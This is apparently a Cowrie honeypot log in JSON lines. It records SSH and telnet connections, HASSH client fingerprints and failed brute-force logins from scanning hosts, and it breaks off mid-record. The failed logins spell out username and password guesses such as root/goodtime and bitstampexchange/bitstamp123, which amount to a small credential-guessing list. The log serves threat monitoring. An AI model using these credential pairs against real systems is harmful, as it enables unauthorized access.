{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.155980Z","src_ip":"77.94.47.83","session":"c025b476391d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.397250Z","src_ip":"8.210.75.243","session":"e187e1126397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodtime","message":"login attempt [root/goodtime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.474885Z","src_ip":"77.94.47.83","session":"c025b476391d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59024,"dst_ip":"159.203.135.109","dst_port":23,"session":"5161a057d4c8","protocol":"telnet","message":"New connection: 107.6.151.170:59024 (159.203.135.109:23) [session: 5161a057d4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.483333Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:33.583048Z","src_ip":"77.94.47.83","session":"c025b476391d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60822,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b0ad6469ac","protocol":"telnet","message":"New connection: 107.6.151.170:60822 (159.203.135.109:23) [session: 36b0ad6469ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:37.521888Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49258,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac5f267dd802","protocol":"ssh","message":"New connection: 8.210.75.243:49258 (10.17.0.5:22) [session: ac5f267dd802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:47.032118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:50.244358Z","src_ip":"8.210.75.243","session":"ac5f267dd802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36424,"dst_ip":"159.203.135.109","dst_port":23,"session":"861a82094b12","protocol":"telnet","message":"New connection: 107.6.151.170:36424 (159.203.135.109:23) [session: 861a82094b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:51.827384Z"}
{"eventid":"cowrie.session.closed","duration":33.146658182144165,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:05.629886Z","src_ip":"107.6.151.170","session":"5161a057d4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:09.636765Z","src_ip":"8.210.75.243","session":"7aab1fc7081f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"f075a5d49445","protocol":"ssh","message":"New connection: 67.231.24.5:47778 (10.17.0.5:22) [session: f075a5d49445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:09.641218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:09.646677Z","src_ip":"67.231.24.5","session":"f075a5d49445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:09.665627Z","src_ip":"67.231.24.5","session":"f075a5d49445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cexio123","message":"login attempt [root/cexio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:09.731224Z","src_ip":"67.231.24.5","session":"f075a5d49445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.09823727607727,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:10.620002Z","src_ip":"107.6.151.170","session":"36b0ad6469ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:10.759091Z","src_ip":"67.231.24.5","session":"f075a5d49445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":50118,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2a5f2861d6","protocol":"ssh","message":"New connection: 20.228.179.34:50118 (10.17.0.5:22) [session: df2a5f2861d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:11.957742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:11.962680Z","src_ip":"20.228.179.34","session":"df2a5f2861d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:11.973856Z","src_ip":"20.228.179.34","session":"df2a5f2861d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitstampexchange","password":"bitstamp123","message":"login attempt [bitstampexchange/bitstamp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:12.010029Z","src_ip":"20.228.179.34","session":"df2a5f2861d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:13.027556Z","src_ip":"20.228.179.34","session":"df2a5f2861d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":51040,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49159d628e9","protocol":"ssh","message":"New connection: 81.192.46.32:51040 (10.17.0.5:22) [session: d49159d628e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:17.574235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:17.578264Z","src_ip":"81.192.46.32","session":"d49159d628e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:17.694700Z","src_ip":"81.192.46.32","session":"d49159d628e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123,./","message":"login attempt [root/abc123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:18.194764Z","src_ip":"81.192.46.32","session":"d49159d628e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:19.314163Z","src_ip":"81.192.46.32","session":"d49159d628e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97629427909851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:22.803565Z","src_ip":"107.6.151.170","session":"861a82094b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33062,"dst_ip":"10.17.0.5","dst_port":22,"session":"80008df8534f","protocol":"ssh","message":"New connection: 8.210.75.243:33062 (10.17.0.5:22) [session: 80008df8534f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:26.118151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:28.712447Z","src_ip":"8.210.75.243","session":"80008df8534f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:28.716545Z","src_ip":"8.210.75.243","session":"80008df8534f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50316,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8a4d17ec241","protocol":"telnet","message":"New connection: 170.64.224.25:50316 (159.203.135.109:23) [session: a8a4d17ec241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:35.426500Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:49.387012Z","src_ip":"8.210.75.243","session":"80008df8534f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.7","message":"Connection lost after 24.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:50.791638Z","src_ip":"8.210.75.243","session":"80008df8534f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45162,"dst_ip":"10.17.0.5","dst_port":22,"session":"3770ab6cae6e","protocol":"ssh","message":"New connection: 8.210.75.243:45162 (10.17.0.5:22) [session: 3770ab6cae6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:12:51.385285Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":45520,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f53064d594","protocol":"ssh","message":"New connection: 152.67.46.203:45520 (10.17.0.5:22) [session: d6f53064d594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:03.379628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:03.383918Z","src_ip":"152.67.46.203","session":"d6f53064d594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:03.499190Z","src_ip":"152.67.46.203","session":"d6f53064d594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp1","password":"123123","message":"login attempt [ftp1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:04.000334Z","src_ip":"152.67.46.203","session":"d6f53064d594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:05.117252Z","src_ip":"152.67.46.203","session":"d6f53064d594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50746,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53c48341c01","protocol":"telnet","message":"New connection: 107.6.151.170:50746 (159.203.135.109:23) [session: f53c48341c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:06.763953Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b66a93fbe7","protocol":"telnet","message":"New connection: 107.6.151.170:53120 (159.203.135.109:23) [session: 71b66a93fbe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:08.773105Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":33050,"dst_ip":"10.17.0.5","dst_port":22,"session":"6482bf2b92f5","protocol":"ssh","message":"New connection: 123.58.213.128:33050 (10.17.0.5:22) [session: 6482bf2b92f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.486342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.490539Z","src_ip":"123.58.213.128","session":"6482bf2b92f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":46338,"dst_ip":"159.203.135.109","dst_port":22,"session":"e33a727fe348","protocol":"ssh","message":"New connection: 159.65.58.200:46338 (159.203.135.109:22) [session: e33a727fe348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.495756Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.712099Z","src_ip":"123.58.213.128","session":"6482bf2b92f5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:13:17.796242Z","src_ip":"159.65.58.200","session":"e33a727fe348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v